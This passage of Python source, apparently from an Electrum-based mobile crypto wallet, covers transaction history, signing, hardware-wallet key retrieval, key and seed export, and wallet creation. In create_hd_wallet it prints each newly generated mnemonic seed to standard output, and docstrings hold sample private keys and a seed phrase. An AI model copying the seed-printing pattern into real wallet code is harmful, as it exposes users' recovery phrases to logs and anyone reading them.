history_info = self.get_history_tx() local_tx = self.txdb.get_tx_info(self.wallet.get_addresses()[0]) except BaseException as e: raise e if search_type is None: history_data = history_info elif search_type == "send": for info in history_info: if info["is_mine"]: history_data.append(info) elif search_type == "receive": for info in history_info: if not info["is_mine"]: history_data.append(info) history_len = len(history_data) local_len = len(local_tx) all_tx_len = history_len + local_len if start is None or end is None: start = 0 if "receive" == search_type: end = history_len else: end = all_tx_len if (search_type is None or "send" in search_type) and all_tx_len == self.old_history_len: return json.dumps(self.old_history_info[start:end]) all_data = [] if search_type == "receive": for pos, info in enumerate(history_data): if pos >= start and pos <= end: self.get_history_show_info(info, all_data) return json.dumps(all_data) else: self.old_history_len = all_tx_len for info in history_data: self.get_history_show_info(info, all_data) # local_tx = self.txdb.get_tx_info(self.wallet.get_addresses()[0]) for info in local_tx: i = {} i["type"] = "history" data = self.get_tx_info_from_raw(info[3], tx_list=True) i["tx_status"] = _("Sending failure") i["date"] = util.format_time(int(info[4])) i["tx_hash"] = info[0] i["is_mine"] = True i["confirmations"] = 0 data = json.loads(data) i["address"] = self.get_show_addr(data["output_addr"][0]["addr"]) amount = data["amount"].split(" ")[0] if amount[0] == "-": amount = amount[1:] fee = data["fee"].split(" ")[0] fait = self.daemon.fx.format_amount_and_units(float(amount) + float(fee)) if self.daemon.fx else None show_amount = "%.8f" % (float(amount) + float(fee)) show_amount = str(show_amount).rstrip("0") if show_amount[-1] == ".": show_amount = show_amount[0:-1] i["amount"] = "%s %s (%s)" % (show_amount, self.base_unit, fait) all_data.append(i) all_data.sort(reverse=True, key=lambda info: info["date"]) self.old_history_info = all_data return json.dumps(all_data[start:end]) def get_eth_tx_list(self, wallet_obj, search_type=None): txs = PyWalib.get_transaction_history(wallet_obj.get_addresses()[0], search_type=search_type) for tx in txs: fiat = tx["fiat"] fiat = self.daemon.fx.format_amount_and_units(fiat * COIN) or f"0 {self.ccy}" amount = tx["amount"] amount = f"{amount} ETH ({fiat})" tx["amount"] = amount tx.pop("fiat", None) return txs def get_detail_tx_info_by_hash(self, tx_hash): try: self._assert_wallet_isvalid() tx = self.get_btc_raw_tx(tx_hash) in_list = self.get_input_info(tx, all=True) out_list = [] for index, o in enumerate(tx.outputs()): address, value = o.address, o.value out_info = {} out_info["addr"] = address out_info["amount"] = self.format_amount_and_units(value) out_list.append(out_info) out = {"input_list": in_list, "output_list": out_list} return json.dumps(out) except BaseException as e: raise e def get_all_tx_list(self, search_type=None, coin="btc", start=None, end=None): """ Get the histroy list with the wallet that you select :param search_type: None/send/receive as str :param coin: btc/eth as string :param start: start position as int :param end: end position as int :return: exp: [{"type":"", "tx_status":"", "date":"", "tx_hash":"", "is_mine":"", "confirmations":"", "address":"", "amount":""}, ...] """ try: if coin == "btc": return self.get_btc_tx_list(start=start, end=end, search_type=search_type) else: return self.get_eth_tx_list(self.wallet, search_type=search_type) except BaseException as e: raise e def get_show_addr(self, addr): return "%s...%s" % (addr[0:6], addr[-6:]) def get_history_show_info(self, info, list_info): info["type"] = "history" data = self.get_tx_info(info["tx_hash"], tx_list=True) info["tx_status"] = json.loads(data)["tx_status"] info["address"] = ( self.get_show_addr(json.loads(data)["output_addr"][0]["addr"]) if info["is_mine"] else self.get_show_addr(json.loads(data)["input_addr"][0]["address"]) ) time = self.txdb.get_tx_time_info(info["tx_hash"]) if len(time) != 0: info["date"] = util.format_time(int(time[0][1])) list_info.append(info) def get_btc_raw_tx(self, tx_hash): try: self._assert_wallet_isvalid() except Exception as e: raise BaseException(e) tx = self.wallet.db.get_transaction(tx_hash) if not tx: local_tx = self.txdb.get_tx_info(self.wallet.get_addresses()[0]) for temp_tx in local_tx: if temp_tx[0] == tx_hash: return self.get_tx_info_from_raw(temp_tx[3]) raise BaseException(_("Failed to get transaction details.")) # tx = PartialTransaction.from_tx(tx) tx = copy.deepcopy(tx) try: tx.deserialize() except Exception as e: raise e tx.add_info_from_wallet(self.wallet) return tx def get_tx_info(self, tx_hash, coin="btc", tx_list=None): """ Get detail info by tx_hash :param tx_hash: tx_hash as string :param tx_list: Not for app :param coin: btc/eth :return: Json like {'txid': , 'can_broadcast': true, 'amount': "", 'fee': "", 'description': "", 'tx_status': "", 'sign_status': "", 'output_addr': "", 'input_addr': ["addr", ], 'height': 2000, 'cosigner': "", 'tx': "", 'show_status': [1, _("Unconfirmed")]} """ try: self._assert_wallet_isvalid() except Exception as e: raise BaseException(e) if coin in self.coins: return self.get_eth_tx_info(tx_hash) tx = self.get_btc_raw_tx(tx_hash) return self.get_details_info(tx, tx_list=tx_list) def get_eth_tx_info(self, tx_hash) -> str: tx = self.pywalib.get_transaction_info(tx_hash) fiat = self.daemon.fx.format_amount_and_units(tx.pop("fiat") * COIN) or f"0 {self.ccy}" fee_fiat = self.daemon.fx.format_amount_and_units(tx.pop("fee_fiat") * COIN) or f"0 {self.ccy}" tx["amount"] = f"{tx['amount']} {self.pywalib.coin_symbol} ({fiat})" tx["fee"] = f"{tx['fee']} {self.pywalib.coin_symbol} ({fee_fiat})" return json.dumps(tx, cls=DecimalEncoder) def get_card(self, tx_hash, tx_mined_status, delta, fee, balance): try: self._assert_wallet_isvalid() self._assert_daemon_running() except Exception as e: raise BaseException(e) status, status_str = self.wallet.get_tx_status(tx_hash, tx_mined_status) label = self.wallet.get_label(tx_hash) if tx_hash else "" ri = {} ri["tx_hash"] = tx_hash ri["date"] = status_str ri["message"] = label ri["confirmations"] = tx_mined_status.conf if delta is not None: ri["is_mine"] = delta < 0 if delta < 0: delta = -delta ri["amount"] = self.format_amount_and_units(delta) if self.fiat_unit: fx = self.daemon.fx fiat_value = delta / Decimal(bitcoin.COIN) * self.wallet.price_at_timestamp(tx_hash, fx.timestamp_rate) fiat_value = Fiat(fiat_value, fx.ccy) ri["quote_text"] = fiat_value.to_ui_string() return ri def get_wallet_address_show_UI(self, next=None): """ Get receving address, for btc only :param next: if you want change address, you can set the param :return: json like {'qr_data':"", "addr":""} """ try: self._assert_wallet_isvalid() show_addr_info = self.config.get("show_addr_info", {}) if show_addr_info.__contains__(self.wallet.__str__()): self.show_addr = show_addr_info[self.wallet.__str__()] else: self.show_addr = self.wallet.get_addresses()[0] if next: addr = self.wallet.create_new_address(False) self.show_addr = addr show_addr_info[self.wallet.__str__()] = self.show_addr self.config.set_key("show_addr_info", show_addr_info) if bitcoin.is_address(self.show_addr): data = util.create_bip21_uri(self.show_addr, "", "") elif self.pywalib.web3.isAddress(self.show_addr): data = f"ethereum:{self.show_addr}" else: data = self.show_addr except Exception as e: raise BaseException(e) data_json = {} data_json["qr_data"] = data data_json["addr"] = self.show_addr return json.dumps(data_json) def get_all_funded_address(self): """ Get a address list of have balance, for btc only :return: json like [{"address":"", "balance":""},...] """ try: self._assert_wallet_isvalid() all_addr = self.wallet.get_addresses() funded_addrs_list = [] for addr in all_addr: c, u, x = self.wallet.get_addr_balance(addr) balance = c + u + x if balance == 0: continue funded_addr = {} funded_addr["address"] = addr funded_addr["balance"] = self.format_amount_and_units(balance) funded_addrs_list.append(funded_addr) return json.dumps(funded_addrs_list) except Exception as e: raise BaseException(e) def get_unspend_utxos(self): """ Get unspend utxos if you need :return: """ try: coins = [] for txin in self.wallet.get_utxos(): d = txin.to_json() dust_sat = int(d["value_sats"]) v = d.pop("value_sats") d["value"] = self.format_amount(v) + " " + self.base_unit if dust_sat <= 546: if self.config.get("dust_flag", True): continue coins.append(d) self.coins.append(txin) return coins except BaseException as e: raise e def save_tx_to_file(self, path, tx): """ Save the psbt/tx to path :param path: path as string :param tx: raw tx as string :return: raise except if error """ try: if tx is None: raise BaseException("The tx cannot be empty") tx = tx_from_any(tx) if isinstance(tx, PartialTransaction): tx.finalize_psbt() if tx.is_complete(): # network tx hex path += ".txn" with open(path, "w+") as f: network_tx_hex = tx.serialize_to_network() f.write(network_tx_hex + "\n") else: # if partial: PSBT bytes assert isinstance(tx, PartialTransaction) path += ".psbt" with open(path, "wb+") as f: f.write(tx.serialize_as_bytes()) except Exception as e: raise BaseException(e) def read_tx_from_file(self, path: str, is_tx=True) -> str: """ Import tx info from path :param is_tx: if True psbt tx else message :param path: path as string :return: serialized tx or file content """ try: with open(path, "rb" if is_tx else "r") as f: file_content = f.read() if is_tx: tx = tx_from_any(file_content) except (ValueError, IOError, os.error) as reason: raise BaseException(_("Failed to open file.{}").format(reason)) else: return tx if is_tx else file_content def parse_address(self, data): data = data.strip() try: out = util.parse_URI(data) r = out.get("r") sig = out.get("sig") name = out.get("name") if r or (name and sig): if name and sig: s = paymentrequest.serialize_request(out).SerializeToString() result = paymentrequest.PaymentRequest(s) else: result = asyncio.run_coroutine_threadsafe( paymentrequest.get_payment_request(r), self.network.asyncio_loop ).result() out = {"address": result.get_address(), "memo": result.get_memo()} if result.get_amount() != 0: out["amount"] = result.get_amount() return out except Exception as e: raise Exception(e) def parse_tx(self, data): # try to decode transaction try: # text = bh2u(base_decode(data, base=43)) tx = self.recover_tx_info(data) except Exception as e: tx = None raise BaseException(e) data = self.get_details_info(tx) return data def parse_pr(self, data): """ Parse qr code which generated by address or tx, for btc only :param data: qr cata as str :return: if data is address qr data, return data like: {"type": 1, "data":"bcrt1qzm6y9j0zg9nnludkgtc0pvhet0sf76szjw7fjw"} if data is tx qr data, return data like: {"type": 2, "data":"02000000000103f9f51..."} if data is not address and not tx, return data like: {"type": 3, "data":"parse pr error"} """ add_status_flag = False tx_status_flag = False add_data = {} try: add_data = self.parse_address(data) add_status_flag = True except BaseException: add_status_flag = False try: tx_data = self.parse_tx(data) tx_status_flag = True except BaseException: tx_status_flag = False out_data = {} if add_status_flag: out_data["type"] = 1 out_data["data"] = add_data elif tx_status_flag: out_data["type"] = 2 out_data["data"] = json.loads(tx_data) else: out_data["type"] = 3 out_data["data"] = "parse pr error" return json.dumps(out_data, cls=DecimalEncoder) def update_local_info(self, txid, address, tx, msg): self.remove_local_tx(txid) self.txdb.add_tx_info(address=address, tx_hash=txid, psbt_tx="", raw_tx=tx, failed_info=msg) def broadcast_tx(self, tx: str) -> str: """ Broadcast the tx, for btc only :param tx: tx as string :return: 'success' :raise: BaseException """ trans = None try: if isinstance(tx, str): trans = tx_from_any(tx) trans.deserialize() if self.network and self.network.is_connected(): self.network.run_from_another_thread(self.network.broadcast_transaction(trans)) else: self.txdb.add_tx_time_info(trans.txid()) raise BaseException(_("Cannot broadcast transaction due to network connected exceptions")) except SerializationError: raise BaseException(_("Transaction formatter error")) except TxBroadcastError as e: msg = e.get_message_for_gui() self.update_local_info(trans.txid(), self.wallet.get_addresses()[0], tx, msg) raise BaseException(msg) except BestEffortRequestFailed as e: msg = str(e) raise BaseException(msg) else: return "success" finally: if trans: self.txdb.add_tx_time_info(trans.txid()) def set_use_change(self, status_change): """ Enable/disable change address, for btc only :param status_change: as bool :return: raise except if error """ try: self._assert_wallet_isvalid() except Exception as e: raise BaseException(e) if self.wallet.use_change == status_change: return self.config.set_key("use_change", status_change, False) self.wallet.use_change = status_change def sign_message(self, address, message, path="android_usb", password=None): """ Sign message, for btc only :param address: must bitcoin address, must in current wallet as string :param message: message need be signed as string :param path: NFC/android_usb/bluetooth as str, used by hardware :param password: as string :return: Base64 encrypted as string """ try: if path: self.trezor_manager.ensure_client(path) self._assert_wallet_isvalid() address = address.strip() message = message.strip() coin = self._detect_wallet_coin(self.wallet) if coin in self.coins: if not self.pywalib.web3.isAddress(address): raise UnavailableEthAddr() elif coin == 'btc': if not bitcoin.is_address(address): raise UnavailableBtcAddr() txin_type = self.wallet.get_txin_type(address) if txin_type not in ["p2pkh", "p2wpkh", "p2wpkh-p2sh"]: raise BaseException(_("Current wallet does not support signature message:{}".format(txin_type))) else: raise UnsupportedCurrencyCoin() if self.wallet.is_watching_only(): raise BaseException(_("This is a watching-only wallet.")) if not self.wallet.is_mine(address): raise BaseException(_("The address is not in the current wallet.")) sig = self.wallet.sign_message(address, message, password) import base64 return base64.b64encode(sig).decode("ascii") except Exception as e: raise BaseException(e) def verify_message(self, address, message, signature, coin='btc', path="android_usb"): """ Verify the message that you signed by sign_message, for btc only :param address: must bitcoin address as str :param message: message as str :param signature: sign info retured by sign_message api :return: true/false as bool """ address = address.strip() message = message.strip().encode("utf-8") if coin == 'btc': if not bitcoin.is_address(address): raise UnavailableBtcAddr() elif coin in self.coins: if not self.pywalib.web3.isAddress(address): raise UnavailableEthAddr() else: raise UnsupportedCurrencyCoin() try: # This can throw on invalid base64 import base64 sig = base64.b64decode(str(signature)) self.trezor_manager.ensure_client(path) verified = self.wallet.verify_message(address, message, sig) except Exception: verified = False return verified def get_all_token_info(self): """ Get all token contract addresses in the current wallet :return: """ try: return json.dumps(self.wallet.get_all_token_address()) except BaseException as e: raise e def add_token(self, symbol, contract_addr): """ Add token to eth, for eth/bsc only :param symbol: coin symbol :param contract_addr: coin address :return: raise except if error """ try: self.wallet.add_contract_token(symbol, contract_addr) except BaseException as e: raise e def delete_token(self, contract_addr): """ Delete token from current wallet, for eth/bsc only :param contract_addr: coin address :return: raise except if error """ try: self.wallet.delete_contract_token(contract_addr) except BaseException as e: raise e def sign_eth_tx( self, to_addr, value, path="android_usb", password=None, contract_addr=None, gas_price=None, gas_limit=None, data=None, ): """ Send for eth, for eth/bsc only :param to_addr: as string :param value: amount to send :param path: NFC/android_usb/bluetooth as str, used by hardware :param password: as string :param contract_addr: need if send to contranct :param gas_price: as string, unit is Gwei :param gas_limit: as string :param data: eth tx custom data, as hex string :return: tx_hash as string """ from_address = self.wallet.get_addresses()[0] if contract_addr is None: tx_dict = self.pywalib.get_transaction( from_address, to_addr, value, gas_price=gas_price, gas_limit=gas_limit, data=data ) else: contract_addr = self.pywalib.web3.toChecksumAddress(contract_addr) contract = self.wallet.get_contract_token(contract_addr) assert contract is not None tx_dict = self.pywalib.get_transaction( from_address, to_addr, value, contract=contract, gas_price=gas_price, gas_limit=gas_limit, data=data ) if isinstance(self.wallet.get_keystore(), Hardware_KeyStore): if path: address_path = self.get_derivation_path(self.wallet, from_address) address_n = parse_path(address_path) (v, r, s) = self.wallet.sign_transaction( address_n, tx_dict["nonce"], tx_dict["gasPrice"], tx_dict["gas"], str(tx_dict["to"]), tx_dict["value"], data=(tx_dict["data"] if contract_addr is not None else None), chain_id=tx_dict["chainId"], ) from eth_utils.encoding import big_endian_to_int r = big_endian_to_int(r) s = big_endian_to_int(s) return self.pywalib.serialize_and_send_tx(tx_dict, vrs=(v, r, s)) else: return self.pywalib.sign_and_send_tx(self.wallet.get_account(from_address, password), tx_dict) def sign_tx(self, tx, path=None, password=None): """ Sign one transaction, for btc only :param tx: tx info as str :param path: NFC/android_usb/bluetooth as str, used by hardware :param password: password as str :return: signed tx on success and raise except on failure """ try: if path is not None: self.trezor_manager.ensure_client(path) self._assert_wallet_isvalid() tx = tx_from_any(tx) tx.deserialize() sign_tx = self.wallet.sign_transaction(tx, password) print("=======sign_tx.serialize=%s" % sign_tx.serialize_as_bytes().hex()) try: if self.label_flag and self.wallet.wallet_type != "standard": self.label_plugin.push_tx(self.wallet, "signtx", tx.txid(), str(sign_tx)) except BaseException as e: log_info.info("push_tx signtx error {}.".format(e)) pass return self.get_tx_info_from_raw(sign_tx) except BaseException as e: # msg = e.__str__() # self.update_local_info(tx.txid(), self.wallet.get_addresses()[0], tx, msg) raise BaseException(e) def get_derived_list(self, xpub): try: derived_info = DerivedInfo(self.config) derived_info.init_recovery_num() for derived_xpub, wallet_list in self.derived_info.items(): if xpub == derived_xpub: for info in wallet_list: derived_info.update_recovery_info(info["account_id"]) derived_info.reset_list() return derived_info.get_list() return None except BaseException as e: raise e def show_address(self, address, path="android_usb", coin="btc") -> str: """ Verify address on hardware, used by hardware :param address: address as str :param path: NFC/android_usb/bluetooth as str :return:1/except """ try: self.trezor_manager.plugin.show_address( path=path, ui=CustomerUI(), wallet=self.wallet, address=address, coin=coin ) return "1" except Exception as e: raise BaseException(e) def is_encrypted_with_hw_device(self): self.wallet.storage.is_encrypted_with_hw_device() def get_xpub_from_hw(self, path="android_usb", _type="p2wpkh", is_creating=True, account_id=None, coin="btc"): """ Get extended public key from hardware, used by hardware :param path: NFC/android_usb/bluetooth as str :param _type: p2wsh/p2pkh/p2wpkh-p2sh as string :coin: btc/eth as string :return: xpub string """ self.hw_info["device_id"] = self.trezor_manager.get_device_id(path) if account_id is None: account_id = 0 if coin == "btc": self.hw_info["type"] = _type if _type == "p2wsh": derivation = purpose48_derivation(account_id, xtype="p2wsh") self.hw_info["type"] = 48 # derivation = bip44_derivation(account_id, bip43_purpose=48) elif _type == "p2wpkh": derivation = bip44_derivation(account_id, bip43_purpose=84) self.hw_info["type"] = 84 elif _type == "p2pkh": derivation = bip44_derivation(account_id, bip43_purpose=44) self.hw_info["type"] = 44 elif _type == "p2wpkh-p2sh": derivation = bip44_derivation(account_id, bip43_purpose=49) self.hw_info["type"] = 49 xpub = self.trezor_manager.get_xpub( path, derivation, _type, is_creating ) else: self.hw_info["type"] = self.coins[coin]["addressType"] derivation = bip44_eth_derivation( account_id, bip43_purpose=self.coins[coin]["addressType"], cointype=self.coins[coin]["coinId"] ) derivation = util.get_keystore_path(derivation) xpub = self.trezor_manager.get_eth_xpub(path, derivation) return xpub def create_hw_derived_wallet(self, path="android_usb", _type="p2wpkh", is_creating=True, coin="btc"): """ Create derived wallet by hardware, used by hardware :param path: NFC/android_usb/bluetooth as string :param _type: p2wsh/p2wsh/p2pkh/p2pkh-p2sh as string :coin: btc/eth as string :return: xpub as string """ xpub = self.get_xpub_from_hw(path=path, _type="p2wpkh", coin=coin) list_info = self.get_derived_list(xpub + coin.lower()) self.hw_info["xpub"] = xpub if list_info is None: self.hw_info["account_id"] = 0 dervied_xpub = self.get_xpub_from_hw(path=path, _type=_type, account_id=0, coin=coin) return dervied_xpub if len(list_info) == 0: raise BaseException(DerivedWalletLimit()) dervied_xpub = self.get_xpub_from_hw(path=path, _type=_type, account_id=list_info[0], coin=coin) self.hw_info["account_id"] = list_info[0] return dervied_xpub def export_keystore(self, password): """ Export keystory from eth wallet, for eth only :param password: password as string :return:Keystore info for success/exception info for fuilure """ try: address = self.wallet.get_addresses()[0] keystore = self.wallet.export_keystore(address, password=password) return json.dumps(keystore) except BaseException as e: raise e def export_privkey(self, password): """ Export privkey for the first receiving address :param password: password as string :return: private as string .. code-block:: python testcommond.load_all_wallet() testcommond.select_wallet("BTC-1") priv = testcommond.export_privkey(password) if the wallet you select is "btc" wallet, you will get: 'cVJo3o48E6j8xxbTQprEzaCWQJ7aL3Y59R2W1owzJnX8NBh5AXnt' if the wallet you select is "eth" wallet, you will get: '0x31271366888ccad468157770734b5ac0d98a9363d4b229767a28c44fde445f51' """ try: address = self.wallet.get_addresses()[0] priv = self.wallet.export_private_key(address, password=password) if -1 != priv.find(":"): priv = priv.split(":")[1] return priv except BaseException as e: raise e def export_seed(self, password, name): """ Export seed by on-chain wallet :param password: password by string :return: Mnemonic as string """ try: wallet = self.daemon._wallets[self._wallet_path(name)] if not wallet.has_seed(): raise BaseException(NotSupportExportSeed()) keystore = wallet.get_keystore() seed = keystore.get_seed(password) passphrase = keystore.get_passphrase(password) return seed + passphrase except BaseException as e: raise e def has_seed(self): """ Check if the wallet have seed :return: True/False as bool """ if not self.wallet.has_seed(): raise BaseException(NotSupportExportSeed()) return self.wallet.has_seed() # def check_seed(self, check_seed, password): # try: # self._assert_wallet_isvalid() # if not self.wallet.has_seed(): # raise BaseException('This wallet has no seed') # keystore = self.wallet.get_keystore() # seed = keystore.get_seed(password) # if seed != check_seed: # raise BaseException("pair seed failed") # print("pair seed successfule.....") # except BaseException as e: # raise BaseException(e) def is_seed(self, x): try: seed_flag = False if keystore.is_seed(x): seed_flag = True else: is_checksum, is_wordlist = keystore.bip39_is_checksum_valid(x) if is_checksum: seed_flag = True return seed_flag except BaseException as e: raise e def get_addrs_from_seed(self, seed, passphrase=""): """ Get p2wpkh/p2wpkh-p2sh/p2pkh/electrum address by one seed :param seed: seed as str :param passphrase: passphrase if you need :return: """ list_type_info = ["p2wpkh", "p2wpkh-p2sh", "p2pkh", "electrum"] out = {} for type in list_type_info: bip39_derivation = "" if type == "p2pkh": bip39_derivation = bip44_derivation(0, bip43_purpose=44) elif type == "p2wpkh": bip39_derivation = bip44_derivation(0, bip43_purpose=84) elif type == "p2wpkh-p2sh": bip39_derivation = bip44_derivation(0, bip43_purpose=49) if type == "electrum": from electrum.mnemonic import Mnemonic bip32_seed = Mnemonic.mnemonic_to_seed(seed, passphrase) rootnode = BIP32Node.from_rootseed(bip32_seed, xtype="standard") node = rootnode.subkey_at_private_derivation("m/0'/") else: bip32_seed = keystore.bip39_to_seed(seed, passphrase) rootnode = BIP32Node.from_rootseed(bip32_seed, xtype=("standard" if type == "p2pkh" else type)) node = rootnode.subkey_at_private_derivation(bip39_derivation) from electrum import bip32 xpub_master = bip32.xpub_from_xprv(node.to_xprv()) node_master = BIP32Node.from_xkey(xpub_master) xpub = node_master.subkey_at_public_derivation((0,)).to_xpub() node = BIP32Node.from_xkey(xpub).subkey_at_public_derivation((0,)) pubkey = node.eckey.get_public_key_bytes(compressed=True).hex() addr = bitcoin.pubkey_to_address("p2wpkh" if type == "electrum" else type, pubkey) temp = {} temp["addr"] = addr temp["derivation"] = bip39_derivation out[type] = temp return json.dumps(out) def update_backup_info(self, encrypt_seed): """ Add wallet backup info to config file :param encrypt_seed: encrypt_seed is key as str :return: """ try: if not self.backup_info.__contains__(encrypt_seed): self.backup_info[encrypt_seed] = False self.config.set_key("backupinfo", self.backup_info) except BaseException as e: raise e def get_wallet_by_name(self, name): return self.daemon._wallets[self._wallet_path(name)] def get_xpub_by_name(self, name, wallet_obj): wallet_type = self.get_wallet_type(name)["type"] if (-1 != wallet_type.find("-hd-") or -1 != wallet_type.find("-derived-")) and -1 == wallet_type.find("-hw-"): return self.get_hd_wallet_encode_seed() else: return wallet_obj.keystore.xpub def get_backup_info(self, name): """ Get backup status :param name: Wallet key :return: True/False as bool """ backup_flag = True try: wallet = self.get_wallet_by_name(name) if isinstance(wallet, Imported_Wallet) or isinstance(wallet, Imported_Eth_Wallet): return True xpub = self.get_xpub_by_name(name, wallet) if wallet.has_seed(): if self.backup_info.__contains__(xpub): backup_flag = False except BaseException as e: raise e return backup_flag def delete_backup_info(self, name): """ Delete one backup status in the config :param name: Wallet key :return: None """ try: wallet = self.get_wallet_by_name(name) xpub = self.get_xpub_by_name(name, wallet) if self.backup_info.__contains__(xpub): del self.backup_info[xpub] self.config.set_key("backupinfo", self.backup_info) except BaseException as e: raise e def create_hd_wallet( self, password, seed=None, passphrase="", purpose=84, strength=128, create_coin=json.dumps(["btc"]) ): """ Create hd wallet :param password: password as str :param seed: import create hd wallet if seed is not None :param purpose: 84/44/49 only for btc :param strength: Length of theใ€€Mnemonic word as (128/256) :param create_coin: List of wallet types to be created like "["btc","eth"]" :return: json like {'seed':'' 'wallet_info':'' 'derived_info':''} """ self._assert_daemon_running() new_seed = None wallet_data = [] if seed is not None: return self.recovery_hd_derived_wallet(password, seed, passphrase) if seed is None: seed = Mnemonic("english").generate(strength=strength) new_seed = seed print('Your wallet generation seed is:\n"%s"' % seed) print("seed type = %s" % type(seed)) create_coin_list = json.loads(create_coin) if "btc" in create_coin_list: wallet_info = self.create( "BTC-1", password, seed=seed, passphrase=passphrase, bip39_derivation=bip44_derivation(0, purpose), hd=True, ) wallet_data.append(json.loads(wallet_info)) for coin, info in self.coins.items(): if coin in create_coin_list: name = "%s-1" % coin.upper() bip39_derivation = bip44_eth_derivation(0, info["addressType"], cointype=info["coinId"]) wallet_info = self.create( name, password, seed=seed, passphrase=passphrase, bip39_derivation=bip39_derivation, hd=True, coin=coin, ) wallet_data.append(json.loads(wallet_info)) key = self.get_hd_wallet_encode_seed(seed=seed) self.update_backup_info(key) out_info = [] for info in wallet_data: out_info.append(info["wallet_info"][0]) out = self.get_create_info_by_json(new_seed, out_info) return json.dumps(out) def get_wallet_num(self): list_info = json.loads(self.list_wallets()) num = 0 for info in list_info: for key, value in info.items(): if -1 == value["type"].find("-hw-"): num += 1 return num def get_temp_file(self): return "".join(random.sample(string.ascii_letters + string.digits, 8)) + ".unique.file" def get_unique_path(self, wallet_info): import hashlib return hashlib.sha256(wallet_info.get_addresses()[0].encode()).hexdigest() def verify_legality(self, data, flag="", coin="btc", password=None): # noqa """ Verify legality for seed/private/public/address :param data: data as string :param falg: seed/private/public/address/keystore as string :param coin: btc/eth as string :return: raise except if failed """ if flag == "seed": is_checksum, is_wordlist = keystore.bip39_is_checksum_valid(data) if not keystore.is_seed(data) and not is_checksum: raise BaseException(_("Incorrect mnemonic format.")) if coin == "btc": if flag == "private": try: ecc.ECPrivkey(bfh(data)) except BaseException: private_key = keystore.get_private_keys(data, allow_spaces_inside_key=False) if private_key is None: raise BaseException(UnavailablePrivateKey()) elif flag == "public": try: ecc.ECPubkey(bfh(data)) except BaseException: raise BaseException(UnavailablePublicKey()) elif flag == "address": if not bitcoin.is_address(data): raise UnavailableBtcAddr() elif coin in self.coins: if flag == "private": try: keys.PrivateKey(HexBytes(data)) except BaseException: raise BaseException(UnavailablePrivateKey()) elif flag == "keystore": try: Account.decrypt(json.loads(data), password).hex() except (TypeError, KeyError, NotImplementedError): raise BaseException(_("Incorrect eth keystore.")) except BaseException: raise InvalidPassword() elif flag == "public": try: uncom_key = get_uncompressed_key(data) keys.PublicKey(HexBytes(uncom_key[2:])) except BaseException: raise BaseException(UnavailablePublicKey()) elif flag == "address": if not self.pywalib.web3.isAddress(data): raise UnavailableEthAddr() def replace_watch_only_wallet(self, replace=True): """ When a watch-only wallet exists locally and a non-watch-only wallet is created, the interface can be called to delete the watch-only wallet and keey the non-watch-only wallet :param replace:True/False as bool :return: wallet key as string """ if replace: self.delete_wallet(password=self.replace_wallet_info["password"], name=self.replace_wallet_info["old_key"]) self.create_new_wallet_update( wallet=self.replace_wallet_info["wallet"], name=self.replace_wallet_info["name"], seed=self.replace_wallet_info["seed"], password=self.replace_wallet_info["password"], coin=self.replace_wallet_info["coin"], wallet_type=self.replace_wallet_info["wallet_type"], derived_flag=self.replace_wallet_info["derived_flag"], bip39_derivation=self.replace_wallet_info["bip39_derivation"], ) wallet = self.replace_wallet_info["wallet"] self.replace_wallet_info = {} return str(wallet) def update_replace_info( self, old_key, new_wallet, name=None, seed=None, password=None, coin="btc", wallet_type=None, derived_flag=None, bip39_derivation=None, ): self.replace_wallet_info["old_key"] = old_key self.replace_wallet_info["wallet"] = new_wallet self.replace_wallet_info["name"] = name self.replace_wallet_info["seed"] = seed self.replace_wallet_info["password"] = password self.replace_wallet_info["coin"] = coin self.replace_wallet_info["wallet_type"] = wallet_type self.replace_wallet_info["derived_flag"] = derived_flag self.replace_wallet_info["bip39_derivation"] = bip39_derivation def create_new_wallet_update( self, wallet=None, name=None, seed=None, password=None, coin="btc", wallet_type=None, derived_flag=False, bip39_derivation=None, ): try: wallet.set_name(name) wallet.save_db() wallet.update_password(old_pw=None, new_pw=password, str_pw=self.android_id, encrypt_storage=True) self.daemon.add_wallet(wallet) if coin == "btc": wallet.start_network(self.daemon.network) self.update_local_wallet_info(self.get_unique_path(wallet), wallet_type) if derived_flag: self.set_hd_wallet(wallet) self.update_devired_wallet_info( bip39_derivation, self.get_hd_wallet_encode_seed(seed=seed, coin=coin), name, coin ) except BaseException as e: raise e def get_path_info(self, path, pos): return path.split("/")[pos].split("'")[0] def create( # noqa self, name, password=None, seed_type="segwit", seed=None, passphrase="", bip39_derivation=None, master=None, addresses=None, privkeys=None, hd=False, purpose=49, coin="btc", keystores=None, keystore_password=None, strength=128, ): """ Create or restore a new wallet :param name: Wallet name as string :param password: Password ans string :param seed_type: Not for now :param seed: Mnemonic word as string :param passphrase:Customised passwords as string :param bip39_derivation:Not for now :param master:Not for now :param addresses:To create a watch-only wallet you need :param privkeys:To create a wallet with a private key you need :param hd:Not for app :param purpose:BTC address type as (44/49/84), for BTC only :param coin:"btc"/"eth" as string to specify whether to create a BTC/ETH wallet :param keystores:as string for ETH only :param strength:Length of theใ€€Mnemonic word as (128/256) :return: json like {'seed':'' 'wallet_info':'' 'derived_info':''} .. code-block:: python create a btc wallet by address: create("test5", addresses="bcrt1qzm6y9j0zg9nnludkgtc0pvhet0sf76szjw7fjw") create a eth wallet by address: create("test4", addresses="0x....", coin="eth") create a btc wallet by privkey: create("test3", password=password, purpose=84, privkeys="cRR5YkkGHTph8RsM1bQv7YSzY27hxBBhoJnVdHjGnuKntY7RgoGw") create a eth wallet by privkey: create("test3", password=password, privkeys="0xe6841ceb170becade0a4aa3e157f08871192f9de1c35835de5e1b47fc167d27e", coin="eth") create a btc wallet by seed: create(name, password, seed='pottery curtain belt canal cart include raise receive sponsor vote embody offer') create a eth wallet by seed: create(name, password, seed='pottery curtain belt canal cart include raise receive sponsor vote embody offer', coin="eth") """ print("CREATE in....name = %s" % name) try: if self.get_wallet_num() == 0: self.check_pw_wallet = None if addresses is None: self.check_password(password) except BaseException as e: raise e new_seed = "" derived_flag = False wallet_type = "%s-standard" % coin temp_path = self.get_temp_file() path = self._wallet_path(temp_path) if exists(path): raise BaseException(FileAlreadyExist()) storage = WalletStorage(path) db = WalletDB("", manual_upgrades=False) db.put("coin", coin) if addresses is not None: if coin == "btc": wallet = Imported_Wallet(db, storage, config=self.config) addresses = addresses.split() if not bitcoin.is_address(addresses[0]): try: pubkey = ecc.ECPubkey(bfh(addresses[0])).get_public_key_hex() addresses = [bitcoin.pubkey_to_address("p2wpkh", pubkey)] except BaseException: raise BaseException(_("Incorrect address or pubkey.")) elif coin in self.coins: wallet = Imported_Eth_Wallet(db, storage, config=self.config) wallet.wallet_type = "%s_imported" % coin try: from eth_keys import keys from hexbytes import HexBytes pubkey = 